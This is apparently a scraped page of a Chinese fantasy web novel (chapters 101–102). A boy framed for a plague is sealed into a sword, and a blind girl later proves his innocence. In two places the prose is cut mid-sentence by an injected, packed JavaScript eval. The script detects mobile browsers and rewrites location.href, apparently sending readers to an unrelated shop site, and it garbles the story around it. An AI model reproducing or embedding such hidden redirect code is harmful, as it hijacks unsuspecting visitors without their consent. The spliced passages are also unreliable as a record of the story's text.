他第一时间想到的并不是脑海中下意识的那一个“逃”字,而是身处两难之境下,他那矛盾的愧疚与委屈的情愫无处安放时,也不敢掏出来叫人真真切切地去看的心。 他不敢想象阿霖……他仅有的“亲人”该如何面对接下来发生的事情。 一切都有预感,他明白。 这种忧虑,是油然而生的,永远也追溯不到源头。 芍七想到此处,眼眶已经湿透。可是一切也都已经来不及了,阿霖在无数火把燃烧时的噼啪声和无数人影脚下的踢踏声下,已经醒来。 不……不要…… “外面……这是怎么了?”阿霖好似察觉到了对方的慌乱和不知所措,她只敢试探地问他。 “没……没什么,阿霖,答应我,待会儿无论发生什么都不要出去,好……好吗?” 芍七这一句话是艰难出口的,话到末梢,已有了哭腔。 阿霖被吓了一跳,以为他又是梦里魇着了,只好答应他,还安抚道:“你不要害怕,过去的事情早就已经过去了。” 说罢,她再没有得到回应,方才身旁清晰存在过的呼吸声早就不复存在,芍七似是凭空消失了一般。 屋外……火圈…… 芍七无声地走进握住火把的那群人的视野里,仅仅是如此举动,就把那层山层海的人群吓地要站不住脚,火把摇曳不断,脚下模糊不堪的影子也动摇着。 他们便是传闻中的修真门派之人。瘟疫残害豫县月余载,黑雾身处那只鬼影闪躲的妖物成为了无数人的梦魇,无数修仙者竭力厮杀,最后也不过只是瞥见妖物的几分容貌,他们如飞蛾扑火,死伤无数,却依旧无法捕捉道妖物的半分行踪。 而今,各大门派众志成城,死死抓住记忆里的一角,找遍豫县妖气横生之处,只为寻到雾中阎罗,为死去的幽魂追回天道。 今夜,益山村坊妖气肆虐,他们特此赶来,却没想到,就是这一次,他们终于找到了可以一雪前耻的机会了。 芍七的这张面孔,是无数修真门派心里难以除却的恶种,他们记得深刻,恨地透彻,也惧地肝胆皆颤。 “门……门主,果果……真是这妖物,我们竟然找到他了。” 人群前头,有几个带头的人在下面继续窃窃私语。 “终于!瘟疫终于可以停息了!” 有人兴奋地讲不出话。 火光跃动,众人眼里明明灭灭,却都闪烁着一致的光彩——邪不压正的光彩。 无形之中,芍七站在火光的背面,身披黑暗,被归为众人理应同仇敌忾、抽筋扒皮的对象。 芍七踩着孤独的影子,望着前头一眼看不去尽头的茫茫人海,哆嗦不止。凉凉冷意在他单薄的衣衫上穿梭自如,带着能穿透骨髓的威力,他觉得疼。 凌晨,寒凉,飘起了雪,纷纷扰扰,落进熊熊燃烧的火把,静悄悄地化为虚无。 “你……你们……是谁?” 芍七的身子止不住地战栗。 “哼,大胆妖孽!瘟疫的始作俑者!而今,怎有脸再演得出这等戏码!” 一个年轻的身影主动从黑黢黢的人群里站出来,讲话掷地有声,眼中烧着恨意。 少年人鲁莽,话到头就被长辈拦下:“不可鲁莽!此等妖物狡猾多端,不可自乱阵脚。” 带头的几位长老已经要使出术法,在发起进攻之前,他们对无数弟子们给予警示:“此妖物今日的行径看起来颇为怪异!我们不可再拖延,现下应快刀斩乱麻!赶快布阵,将其封印!” “是!”众人齐生生道,气势浩浩荡荡,惹得村子里的人们都起了身。 村子里很多村民饱受疾病的煎熬,他们迈不开脚步,只好偷偷透过窗眼往外探探风声。而于火光中矗立的修真门派者现下也早就不想再管这些短命鬼的去留,任由村民们观看。 屋子里的阿霖捏紧了手,粘腻的汗起了一身。她是瞎子,但不聋,她可以清楚听到外界所有的喧哗,她可以借着这些喧哗声轻易想象出画面,八九不离十。可是,现在的她却做不到。 屋外—— 众修真门派长老手中结印,绚丽的光华连结起天地,刹那间,乌云密布,小雪化作鹅毛大雪,天雷从四面八方赶来,不一会儿就聚集到了天际的中央。霹雳声惊天动地,闪眼的雷电似爬在天幕上的毒蛇,自天际最高处突击下来,一口咬住芍七的双手和双腿,他被牵引到了上空,无法动弹。 他慌乱,想要解释,却没有人愿意给他时间。好吧……哪怕他真的解释了,也会有人听吗? “众弟子听令!” “是!” “天雷第一式,断骨!” 芍七自空中往下俯瞰,无数人的动作整齐划一,信念无穷,致使他们屹立于狂风乱雪之中永不退缩。 众修真弟子齐齐起式,将法术全灌输到阵法之中。 很快,无数只令人发麻的闪电一齐发落,通通化作无比锋利的刀剑刺入他的胸膛。千疮百孔之下,血液如瀑布,哗啦之下。 太疼,这种将身体活生生撕扯开来的疼,放在从前,他从来不敢想象,也无法想象出来。 “天雷第二式,去魂!” 千丝万缕的雷丝应声钻入他的脊背,死命拉扯着他所有的神经,芍七的背后任人摆布。一声雷鸣轰然而下,牵扯着他的雷丝劈入地下,他也被一同拽入了深坑之中,叫他硬生生地跪在了所有人的面前,这代表着赎罪。 神经乱了,思绪乱了,魂魄也快被牵引出了身体,所谓“去魂”竟有如此无与伦比的威力。无数牵扯起他身体灵魂的雷丝竟然破开了阻挡在他记忆深处的铜墙铁壁。 所谓地府月载,天宫百里,元武殿下,乞巧华灯,毗邻山中,往世两百余年载……他一下子便记了起来。 渐渐的,他能记起来的已经不止如此。 初入地府时分,他一饮而尽的那碗孟婆汤不知什么时候也没了效力,竟然叫他将前世也记了起来。 他记起自己真正的名字。 “我……叫少七。” 他记起来自己惨痛的身世,记起对自己来说最重要、也最难以忘怀的哥哥。 “五……五哥……” 他记起了自己前世生前最后一刻,对着五哥不断出口的那一句话。 “为什么……” 泪水不断淌出,混杂着嘴角的血,落到身上快被搅烂的肉糜上,引起一阵一阵的酸痛。 原来,这段日子里每夜做起的噩梦皆有缘由;原来,那时光路过益阳村坊看到的鬼影憧憧并非是梦;原来,梦中哭泣哀嚎的妇人和两只小囡都曾真真切切地活在这个世上。 他悲观地垂下眼眸,看着自己的身躯,这具躯体不知到底吸纳了多少怨气,以至于地府冤魂到现在还不肯放过他。 他知道,这不是自己的躯体。 梦中一切皆非虚假,五哥换了他的身体,不知到底在躲避什么。只是,他的五哥没有想到,他,少七还会在四年后重返人间。 魂魄重返人间,大多人都会觉得这是老天爷的垂怜。可是,芍七却从不会这般想,人间,对于他来说不过是另一个无底洞般的深渊罢了,归来时,曾经的自我不复存在,他的归来是在为旁人赎罪,一个他从未犯过的罪,一个在生命最后一刻也想去阻止的罪孽。 “不……是我……不是我做的……” 芍七的眼被泪水盈满,模糊了他的视野。可是不管如何,他还是会看到这具躯体曾经保留下的那些犯下滔天罪恶的记忆,他还是会看见自己泡满了鲜血的双手。 魂火纷飞,一只只恶魂在他的耳畔兴风作浪。 “赎罪!赎罪!赎罪!” “忏悔!忏悔!忏悔!” “我要你死!” “我也要你死!” “死!” “……” 诸如此类的低语伴着阴暗岑寂的空气不断地穿入他的耳鼓,叫他痛不欲生。 “不是……我……不是我……” 他是被冤枉了的孩子,不断地摇着头,不断地解释,可惜无人在意。 地面上还在观望着的众多弟子们愣了愣,其中有人嘴碎,小声问起同门来,道:“你们看,那妖怪居然在哭。” “而且嘴里面好像还在说着什么话。” 他们的窃窃私语还是被不远处年长些的弟子发现,那弟子呵斥了他们一声:“如此关头怎的还有这般闲聊的心思?!还不速速静心施法,若是松懈半分,叫那妖怪逃了去,我看你们要如何应对!” “是是是!” 时间一分一秒地流逝,天雷愈来愈张狂,轰轰烈烈,卷起狂风,掀起大半片草皮,飞雪散作齑粉,再化作雪水,遁入狂风。刹那间,寒冬之下,竟下起了七月般的狂风暴雨。 屋内的阿霖坐立难安,她身上止不住颤抖,尽管被惊天的雷鸣吓得失神,可是她却还是想要鼓起勇气出去找到那个人,因为她知道,若是错过了这次的机会,以后便永远见不到他了。 阿霖紧好厚衣,撑开重重的门,外面的一切对她来说都有着带着未知气息的重重危险,她每走一步,都像极了在嵯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13055113|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峨山巅寻找落脚之地,多么艰难。 她寻找声源的方向,仰头喊去:“芍七!你在哪里?!” 阿霖的动作惊扰了正在施法的几位长老,众多弟子也是一片哗然。 “哪里来的野丫头?!速速将其拉走!” 其中一位长老喊道,手中的起式仍然不肯松懈半分。 这个声音…… 被雷电锁在空中的芍七捕捉到,模糊却真实,他奔涌而出的泪水忽地收住,他愕然,因为,他无法面对,也不敢让阿霖看见如今这般狼狈和可悲的自己。 或许对于他自己来说,可悲这个词,是再合适不过的,但对于阿霖和村民们来说,用可恨一词怕也是不足为过。 阿霖在地面上左右摸索着,脚步渐渐虚浮,她一直抬着头,因为她能感觉到芍七的气息。 恍惚之间,芍七看到了阿霖布满了水汽的脸庞,暴雨纷飞下,那水汽似雨,更似泪。 “阿霖,不是我……” 这是他最后说的一句话。 “天雷第三式,封印!” 雷声轰轰,电闪雷鸣之中乍现出爆破般的红光,一道剑影从修真门派带头的一位大长老手中抽出,升腾到半空之中,与芍七面对面。 万千红线被剑身牵扯而出,绑入芍七的肉身。剑气以千钧之力将他的肉身收入剑身,不一会,红光便淡下,而芍七的身影早已不复存在。 封印成了。 “太好了,太好了!”有人收不住心里的欣喜,早已失了礼数,满地狂奔欢叫。 “血疾……终于……停息了,师兄师弟……我给你们报仇了。”有人则暗自神伤,早已止不住眼角心酸的泪。 带头的几位大长老一时也忘了自己的形象,喜极而泣之人比比皆是。 其中却有一人迟迟没有展露笑颜,此人正是那个时代的仙机门门主。 靠在门主身旁的一位长老不解地凑过去,问道:“此妖怪既灭,你怎么还这么愁眉苦脸的?” “你不觉得有些奇怪么?”门主不顾冰凉的雨水,再次抬眼往向头顶上的那片天,半炷香前,妖怪还停留的地方。 “什么意思?”这名长老听罢,更是不解了,他的眉头不由地蹙了蹙。 “我们皆知此妖孽无比狡猾,我们穷尽了四年多的时光,不仅仅徒劳无果,还损失惨重。可今日……你不觉得这妖怪忽然变了,怎的会变得如此好对付了?此事如此蹊跷,那叫人耳熟能详的黑雾,我们也未曾见到半分影子,不是吗?” 那长老闻言只是摇了摇头,嗤他:“你就是太疑神疑鬼了,别想那么多了。” “你最好不要自欺欺人,此处妖气依旧横生,恐怕事情远没有你想得那么简单。”门主睨了长老一眼。 那长老也不甘示弱,嗤笑道:“托那妖怪的福,村子里早已遍布血疾,妖气自然还会有。到底自欺欺人者,还是你罢了。” …… 夜风袭袭,雨水早已停息,雪也再没有下起来。 阿霖独自一人坐在偏僻之处,听耳畔之风,如此岑寂。 她躲在暗处,并非没有听到那些修真门派之人的话,他们都说芍七是传闻中的妖怪,她并不信。这不仅仅是从她的主观方向出发才得到的结论,因为,那些人口中的话无论从哪一个方向出发都不具备成立的可能性。 若芍七是妖,但也绝对不会是传闻中祸害百姓残害无辜的瘟疫之妖。他不可能是那样的人,一个人就算再怎么隐藏也不可能无时无刻都能藏好自己的秉性,在阿霖这个心思过于敏感的人眼底下更是逃不过。 他们说芍七带来瘟疫,而阿霖却安然无恙地与他度过了数日时光,从未染上所谓的怪病。他们说芍七所到之处寸草不生,而村民们在他到来之时从未有过任何异端。 等等……除了一个人。 老夫妇家中那个疯了病的儿子! 那个中年男人在芍七未来之时便症状反常。这么多天来,他的疯病也是愈渐严重,老夫妇也一个皆一个地同他生了一样的疯病,而村子里的渐渐出现怪病的那些人在最开始刚巧不巧便是这户人间的邻居们,只不过后来越来越扩,怪病的规模才得以扩散至村落。 阿霖忽地想起芍七曾经对她说过的话,而这句话,也曾经引起过她的深思。 ——“我觉得……他或许也沾上了传闻中的瘟疫。” 芍七说的不错。 那些人冤枉了他! 思及此,她便不敢迟钝起来,也顾不上握起木棍,便循着外头说话的那些人的方向跑去。 “大胆!”阿霖的举动惊动了众弟子,一堆人将她围堵在了外面。 火光重新照亮了她的面颊。 “又是这个瞎子!刚刚就想碍事,不知道现在又要犯什么浑?!”有人嫌恶道。 阿霖不顾这些人尖锐的话语,只是坚定着信念,放声道:“各位冤枉了好人!” 此话一出,没人讲话,空气似滞住,凝固得结结实实。 “看来是个疯子!” “我刚刚就说了,这人看起来就不正常!” 过了半晌后,才有人斥道。 “我知道村子里的怪病从何而来!” 阿霖又说道,用尽了气力,嗓子已经干哑。 众弟子已经不耐烦,想要将着疯瞎子轰出去,不了动静一大,惊扰了带头的那几位长老。 有长老见状,正要开腔斥责,却被人拦住。 刚巧不巧,此人正是仙机门的门主。 他走上前去,耐心问道:“从何而来?” “我带你们去。”阿霖说着说着,又觉得如鲠在喉,她想这辈子她都没有像今日这般勇敢。 如今之事,放在从前,她想都不敢想,所谓修真门派,所谓妖物,所谓瘟疫,便犹如神话一般,仅仅是可远观而不可亵玩之事。眼下,飘飘渺渺、虚虚浮浮皆成了真,饶是不敢信,她也要独自去面对。 101. 魂兮归来(9) 落过一场暴风雨的荒地还未完全适应这样一次突如其来的“意外”,积水掼倒在地上,压出一只只水坑,无法立刻被封冻起来。散发不掉的湿气混杂着泥土的腥气和冰雪的寒凉,扑人鼻尖,让人窒息。 但更令人窒息的还是此时众人在一只孤独的屋子外闻到的那一股致命的血腥气,粘稠,熏人。可能……这种想法仅仅是阿霖所有的,其他人闻到的绝对不止是这股呛鼻的血腥味道,因为,叫他们在这四年里惶惶不可终日的妖气也在其中。 妖气横生,是血疾的气息。在场所有的修真门派者们不会到现在都不明白——此处的妖气才是叫整个村子落难的源头。 先前不肯示弱的长老不可置信地盯着眼前的那只屋子,哑口无言。 阿霖闻到那股窒息的血腥气儿,脑中顿时闪烁起无数个恐怖的画面,赓续不断,有一种令她不安的恐怖生动感在骚动。 这间屋子不是别处,恰好是老夫妇和他们那个疯病儿子的住所。 她下意识觉得从屋子里散发出的那股骇人气息,是带着死亡的脚步的。 阿霖脚下顿起一番冲动,要摸索上前去,却被一个弟子拽住,那人骂她:“当真是不要命,血疾闹死人的地方也敢上去?!” “死……了?”她几乎不会睁开的眼睛在刹那间瞪大,浑浊的瞳仁在火光下显现不出半分光华,把旁人吓了一跳,那脾气急躁的弟子也不敢再多言。 “那……其他的村民呢?”她颤声道。 另外一名弟子站出来,低声道:“若是再待在这个村子里,别说是别的村民了,就连你和我们,都活不长了。” “话说,刚刚封印那只妖怪的时候,你们有没有闻到类似于此的妖气?” “好像……没有……” “我也是。” “我也,我也。” “这到底是怎么回事?!我脑子已经转不过来了。” “我们真的封错了妖?!” “不可能!我记得那妖怪的脸,还有他身上的气息,他分明就是!” “怎么搞的?!那妖怪的气息的确叫人熟悉,却又和散布血疾的妖气有很明显的区别,既像又不像的!” “搞了半天!居然抓错了人!” “是抓错了妖!” “……” “……” 一时间,人群中掀起一阵又一阵的窃窃私语,浪潮不断,愈演愈烈。 众长老也慌了神,他们既不敢上前去那恐怖的屋子里一探究竟,也无法理清脑中混乱不堪的线,只好站在原地急得焦头烂额,对着身后将要乱成一锅粥的弟子们大喊:“安静安静!不可喧哗!” 一袭白袍的中年男人立在众位乱了分寸的长老里,宛如鹤立鸡群,此人正是仙机门的门主。 他仰天冥想,盯着虚空,似乎在回忆不久前的惊心动魄的画面。 凌晨,东方暗暗的光芒露出一角,原本无数只水坑不再灵动,皆被冻成了冰面,薄薄地覆在荒草地上。暗暗的光芒被倒映其上,含含糊糊,朦朦胧胧,忽隐忽现。亦如藏在冰下的真相,在男人的脑海里的模样。 不知不觉间,他握住的那把还依旧温热的剑的手紧了紧,剑内之人活动的心脏跳跃在他的掌心里。 接二连三的打击让阿霖一蹶不振,她呆呆撑着颓然的眼皮,听着耳畔叽叽喳喳不断的喧闹声,渐渐失神。 “姑娘。” 她被叫住。 “多谢。”男人沉声道。 “既然如此,可不可以……让那个人回来。” 她说的是芍七。 “他……并非人,他是妖。” “只是对于你们而言是如此。”阿霖知晓男人的意思,也知道她想要的永远都不会回来了。 “既然如此,那就去捉到真正的罪魁祸首,莫叫无辜者顶了他不该顶的罪。” 凉风吹拂,男人手中的剑闪烁着淡淡的光芒,渐渐的,光芒越来越显眼,将男人和阿霖的身影一并盖了过去,他们都消失了。天地荒凉,众多人影皆散作了烟尘,一切都那么地不真实,似乎是一场梦。 这一次的画面并未停滞,流动的沙土,漂浮的乱云,摇曳的荒草,这些都还存在着,真实地存在着。 萧喜的动作不再被束缚,她的身边并非混沌一片,如今,她正真真实实地踩在这片存在过的土地上。 意识和肉/体,重新被她一齐拿回主使权,她可以清晰地感觉到眼眶里的湿润。短短时间,她匆匆将他人的人生经历一遍,醒来之时,无比怅然,无比忧伤。 不知道什么时候,那位自称仙机门门主的男人的位置忽然就被萧喜顶替了去。男人原先手中的剑换作了萧喜手中的剑,只是模样好像不同。 萧喜自从上一画面戳破了剑的“幻象”后,便没有再被迷惑住。她想起来,原本男人手中的剑的模样,绝对是黑柄剑的模样!话说回来,黑柄剑与仙机门的渊源竟然就是从此时开始了。 所谓的剑灵……芍七,哪里是什么剑气所生之物,分明是被封印了进去的倒霉妖怪!至于为何会从妖怪变成剑灵,这位仙机门的门主定然是做了不少贡献。 可为何,画面最后一刻,黑柄剑会莫名其妙地变成她手里这把两不像的剑?莫非真如她先前所料,这把剑里,有那么一半的成分代表了黑柄剑存在的意义? 所以这柄剑真正涵盖了两种什么样的意义呢? 是芍七同少七的意义?还是少七同少五的意义?还是灵魂与肉/体的意义呢? 所谓“一半”,那不就是灵魂与肉/体各据占主体的部分吗? 想到这里,萧喜也不禁怔住。 又一阵寒风鼓起,将萧喜眼前的光景吹得更加真实起来,她不禁打了个寒颤。 等萧喜再一次反应过来的时候,眼前不再空茫,一个人影乍现,是阿霖,她单薄的身子正好背对着萧喜,离得很近,飘逸的发丝和白衣都近在咫尺。 “那就去捉到真正的罪魁祸首,莫叫无辜者顶了他不该顶的罪。”背对着的身影说道。 “什么?”萧喜完全没有来得及从刚刚沉浸过的思考中脱身,眼下又有如此的突发情况,她显然觉得惴惴不安。 白衣女子的身影忽然转过身来,清晰的双眉下是浑浊的眼珠子,里面倒映不出任何事物,死气沉沉。然而就是这般毫无生机的眼珠子,正静静地泡在无比深沉的泪海中,在此时,比起死气,用悲凉一词来形容她才更为贴切。 “那就去捉到真正的罪魁祸首,莫叫无辜者顶了他不该顶的罪。”她再一次开口。 接下来也没有给萧喜说话的时间,阿霖猝然伸手,猛地将萧喜推出去。 就是这一推,让萧喜体会到了久违的失重感,在剑的意识里,她又一次不再拥有自由掌控身体的权力。 萧喜看着自己的身体散去,徒留意识在未知的虚空中漂浮、堕落…… 手中之剑再度震动—— “找到它真正的主人。” …… 岁月荏苒,修真门派日渐强大,尤其是那赫赫有名的仙机门。 据说,多年前未曾捉获血疾真正的罪魁祸首的事,已经成了仙机门门主的一大心结,眼看着不止是豫县、岑县……越来越多的地方深受血蠕肆虐之苦,门主这只心结也是越来越繁杂沉重。 终于有一天,一只自称黑影魔的非人非妖的怪物乱入到他的心境之中,将血疾和少五背信弃义之事全盘托出。 少五的背叛令黑影魔在封印之中承受着比先前痛苦千百倍的惩戒,虽然少五瞒天过海,他却还是太过低估黑影魔的能力。多年之后,黑影魔再次抓住了机遇,不惜损耗自己五分的魂魄,也要逃出封印,叫人将那该死的少五捉拿回来。 仙机门的门主,忽然成了黑影魔心目中帮他完成夙愿的不二人选。 门主对于影魔开出的条件很是满意,毕竟在这样血疾肆虐的乱世之下,没有什么比捉住罪魁祸首来阻止这番灾难来得更划算。 至于黑影魔,他自知昔日的刹摩主子已灭,便早没了效忠之心,只想着逃出封印,四处逍遥快活去,便许下不再动用血蠕的诺言。 至于真假与否,门主无法细究。 按照影魔约定的日子,仙机门再次召集天底下无数的修真名士。门主暗中与影魔合作,寻到了游窜在外的少五,众仙门重现多年前的天雷封印之式,耗费九牛二虎之力才将其封印到剑中,后又将此剑镇入到影魔原本的封印之地,少五终再无法作孽。 封印既成,封印之剑被定于此地,为了防止歹人作祟,众修真门派选出一家族在此守剑,世世代代,永不停息。家族中,仅有嫡系长子才有资格传承此秘密,永不外传。 两百多年了,朝代更迭,豫县变成了如今繁华的沧淩城,守剑家族演变成了沧淩城的富贵商户苏氏。 不变的,永远是被封印的少五、供于壁龛之上的剑,和延续了上万多年的镇魔大阵——齐芒星阵。 画面依旧没有停滞,春夏秋冬不断变更,两百年的光景在一瞬间随着春花、夏叶、秋实、冬雪齐齐绽放、生长、飘零、飞落……荒芜的土地上修建起祠堂,周围建起了高耸的围墙,所有的事物从无到有起来…… 萧喜的意识回归本体,身躯显现,她发现自己站在飞速行驶的历史轨道上,脚步有些站不稳。等到真正可以放慢节奏、镇定心神的时候,她发现自己竟然回到了苏府的祠堂。 不…… 她很快意识到,这一切并非真实的世界,因为,如今的苏府祠堂早已被大水冲垮。 眼前的祠堂,是一开始看见时完好的模样,更是过去两百年里演变成的模样。 她没有回到真实的世界里,没有看到黑雾,没有遇到朗月。她回到的是过去的岁月,看到的是过去的祠堂。 她眯眼看去,壁龛之上有东西在震动……闪烁……是封印之剑! 她在脑海里无声喊道。 熟悉的红光铺天盖地下来,从里到外将祠堂围堵得水泄不通,萧喜下意识地闭上了眼。当她再次睁眼时,封印之剑猝然消失,而她的掌心却感受到了剑的温度。 同黑柄剑一样,封印之剑似乎也是以这种“回归本源”的方式,分出剑身存在的一半的意义,再归入到萧喜手心的这把剑中。 黑柄剑与封印之剑在其中各占一半的成分。此时的萧喜重新看待此事,已没有像开始时那样感觉晦涩难懂。 萧喜还是会下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻言,萧喜的神色逐渐平缓下来,她终于真切地体会到了那时他面临被封印的陷阱,宁可死去也不愿见到阿霖时的感受了。 他是在害怕,怕旁人看到变成如今这样的自己,哪怕这个“自己”并不是真正的他…… 他害怕……他最后的精神支柱也会坍塌……阿霖……是最后愿意给予他温暖的人,是恩人,是家人,是依靠……他觉得这些阿霖给他的好都是他使劲气力骗来的,他本就不配拥有…… 可是他贪心,他怯弱,他怕这些好被收回,怕自己骗了阿霖和村民们后会让他们失望,让他们难过……如此,他哪里能够看得下去,悔恨交加的心情让他怎么都走不出来无底洞般的深渊。 心智善良的孩子,最害怕被人恶意误会。 哪怕不是他的错,但千夫所指也不得不叫他乖乖低下头,承受一切,他永远不会原谅自己,弯曲了的身子哪里能再直得回来…… 以至于无数年之后,变成了剑灵的芍七,因为这些心结,对阿霖的转世,也就是柳芊芊,会抱有如此复杂的依赖的情感。更甚至后来,只要一跟柳芊芊接触,他便会感到钻心的疼痛……他这是在惩罚自己……尽管对方早已不是曾经的阿霖…… 想着想着,萧喜无声哽咽起来。 “可是……最后,她一直相信着你,是她为你洗脱了罪责,村民们因你们而获救,而他们也从未怪过你,他们都信你。” 芍七的身子愣了愣,埋进臂弯里的脑袋渐渐抬起,他终于肯抬起眼,好好看着她了。 “她在最后一刻,拜托了我一件事。” “什……什么?”他声音颤抖。 “那就去捉到真正的罪魁祸首,莫叫无辜者顶了他不该顶的罪。” 萧喜忽然想起了什么,抬起手来,将手中的那把剑交给了他,温声道:“你看,即使你的□□早已改变,但你始终存在。 躯壳只是表象,你的意识并不会灭亡,只要你愿意相信阿霖的话,愿意相信自己存在的意义,这把象征着你的剑也会存在——即便它是凭空出现而来的,它却始终是你灵魂与肉/体共存时的模样,你是它真正的主人,它认可了你,你也终将会把本属于自己的东西夺回来。” “凭空出现……”芍七讷讷开口,他缓缓站起身,眼中视线远去。 萧喜循着他的目光看去,只见一个白衣女子站在远处微微闭眼,朝他们微笑着。 是阿霖。 “原来是这样啊……” 莫名之间,萧喜竟觉得无比感动。 “该放下了,我明白……是……时候做个了结了……” 芍七默默移开了眼,唇角微微扬起,眼中神色逐渐昂然,少年的蓬勃之气渐渐升腾。 他从萧喜手中接过了那把证明过他存在意义的剑,脚底下顿时延伸出红光大道,通向的尽头,光芒四闪,那里是出口。 他将重生。 萧喜见前方出路显现,丝毫不敢怠慢,紧紧跟在芍七的身后,朝尽头奔过去。 102. 魂兮归来(10) 现实与幻境近乎无缝衔接。 但幻境中度过的无数岁月在现实的角度看来,却被压缩到了仅仅不到半炷香的时间。 时间线上,二者存在着的割裂感很强。 天起雷鸣,几道闪电在晦暗的上空忽然显现,似乎裂开了的口子,暴雨汇聚不断,从中倾泻而下。 朗月的身影被暴雨浸透,他已经与眼前这团不成形状的黑气缠斗了将近半炷香的时间,实力的悬殊叫他越来越力不从心。随着这种心情的扩散,他也开始悲观起来。 太多的未知状况一直在不断发生—— 芍七败于数量过于庞大的白袍人,他被推入祠堂,产生了接触,黑雾被触发。 再后来,黑雾被幕后之人有意撤去,波谭乱雨再没有一开始时的优势。 半炷香前,萧喜忽然唤动血符,没入红光,离奇消失…… 朗月默默紧了紧拳头。 可就在这时,那道熟悉的红光再次将院子笼罩。 朗月用余光刚好瞥见,有两只人影逆光而来。 “萧喜!” 还有,“芍七!” 他止不住激动,犹如在深渊尽头觅到了希望的光芒。 朗月身前的狡猾妖物见对手有所松劲,竟然故意跑到他的身后,杀气骇人,试图将朗月一击毙命。 萧喜见状,一个箭步冲了过去,从袖中射出一波符文,化作利刃,隔开了妖物卑鄙的袭击。 她有些不满,掐了把朗月胳膊上的肉,道:“这种关头了,可不能掉以轻心了。” 朗月勾了勾唇角,丝毫没有要避讳的意思,反而乖乖受教,应道:“我明白了。” 朗月的确上心了不少,对于萧喜的提醒,他确实是做到了。他收拢衣袖,本欲再度起式,利用雨水汇聚法术,攻击对方,只是在最开始,萧喜就打断了他。 他不解地看着萧喜。 萧喜示意他往前头看。 深夜之中,那团不愿成型的黑团此时一动不动地停留在了黑暗的边缘,原本疯魔张狂的妖物在此时却异常地冷静。 虽然他们都看不到妖物的表情,却总能感觉地到他的情绪,他在震惊。 妖物此时正与提剑的芍七对峙,气氛冷凝,激战一触即发,有破釜沉舟之态。 “有些事情,还是让他们自己了结了吧。” 萧喜默默叹着气,眼色敛起,在暗处默默变动,没人看得懂。 “我们现在还有更重要的事情要做呢。”她转回身,对朗月正色道。 “取封印之剑,还是燃玉?” 萧喜摇了摇头,讲道:“芍七已经知晓了引魂阵之术,新的封印之剑也已经在他手里了,原来的那把剑便没有必要再取了。等时机成熟之后,他会来你这里取引魂针。如此,我们便无须多此一举。 现下,芍七会给我们拖延一会时间,我们要赶紧在苏府外围设下结界,一旦魂针引魂,恐会伤害到无辜之人。” 并未同萧喜一齐经历剑中幻境的朗月在此时明显感觉到了自己与萧喜思路上的睽隔,他动了动唇,心中虽满是疑惑,但终究什么都没说,而是选择了听从萧喜的话。 “好,”朗月自知这不是该迟疑的时候。 …… 很快,院子里便只剩下了芍七与藏在这团黑气中的妖物。 气氛死寂,唯一的动静便仅有漫天的飞雨落入水洼时的声响,嘈杂。 “五哥……好久不见。” 芍七抬起头,神色微动,千言万语披着沉默的壳子,无形之间,出口之语仅剩寥寥几字。 黑气散了散,竟有化形之态。很快,一个少年郎从中显性,再无遮遮掩掩模样,清晰而稚嫩的面孔却有着突兀的暴戾之气,猩红的眸子里满是张狂和疯癫。 “你……都记起来了?”少年郎将嘴角咧开到很大的幅度,粗哑的声音从中传出,恶气冒出,盘旋在芍七的耳边,他试图借此对少七造成进一步心理上的伤害。 可惜,这些对于如今的芍七……不,是对于如今的少七来说,早就没了效力。 “五哥,是时候放下了。”少七的头发被打湿,湿哒哒地耷拉在他的额前,掩住了他的眉眼,雨水顺着他的发丝不断地垂落,落在他心里,他的心情和这漫天泡在潮气里的雨夜一样,都是湿漉漉的。 言罢,少七不再给少五任何说话的机会,直接拎起手中的剑,向前冲去。 少五见此情形,疯魔的情绪一度高昂,怨气扭曲着他的面貌,皮相皱皱巴巴地挤在五官上,猩红色的眸子被从眼眶中不断溢出的黑雾遮住,嘴中吞吐起腥气的黑雾,恶狠狠地将话语从牙尖挤出:“两百多年了!少七!你打不过我!你永远都打不过我!” 少五的话并非虚假,实力的悬殊是必然的。 少七抡剑腾空击去,仅仅伤到对方半分的皮毛。 长剑并不轻巧,同原本拿惯了的黑柄剑大有不同。少七拖着剑器,呲啦啦地拖行在坚硬的石板路上。在纷乱的雨夜里,过分的尖锐声显得十分突兀,犹如板正的琴上忽然断裂了的琴弦发出的声响,放在曲谱里,惹耳得很。 剑气穿天,少七挽出一只漂亮的剑花,悬在虚空之中,幕天席地的雨水打落其上,敲出乖乖隆咚的剑鸣声。 少五杀红了眼,倒也不打算躲去少七的攻击。他手心发力,一团包裹着万千暗箭的团团黑雾朝少七攻去,暂时抵挡了这一杀机。 两人很快就缠斗在了一起,少七身轻如燕,见少五再次掩去身形朝上空飞跃而去,他便也跟上。不一会儿,黑夜里幽暗的上空中闪现出了两只飘着残影的人影,二者相撞、分隔、又相撞,乒乒乓乓的击打声放浪形骸,高空中传来的剑鸣声不断,最终都落入到了萧喜和朗月的耳中。 虽然萧喜早有预料,但当真看到两兄弟在空中厮杀地如此激烈的情形,还是没忍住乍舌。 一旁的朗月也好不到哪里去,一向冷静的他,就算面临难事,他也不会轻易将情绪摆在面孔上。可是就是这样的一个人,却在此时面露难色。 他自认为没有别人比自己更了解芍七,这只剑灵在他很小的时候便陪伴着自己,芍七的脾性、喜好、优点、缺点、身形、步法……他无一不了如指掌。可是就是这样的芍七,却在今夜令朗月感到前所未有的陌生。 他眯眼看去,尽管看不到人面身型,在淫雨之中却还是瞥见了参和在空中残影中泛着寒光的凌厉剑身。 黑柄剑怎么会有这样的光泽?! 那根本不是……黑柄剑! 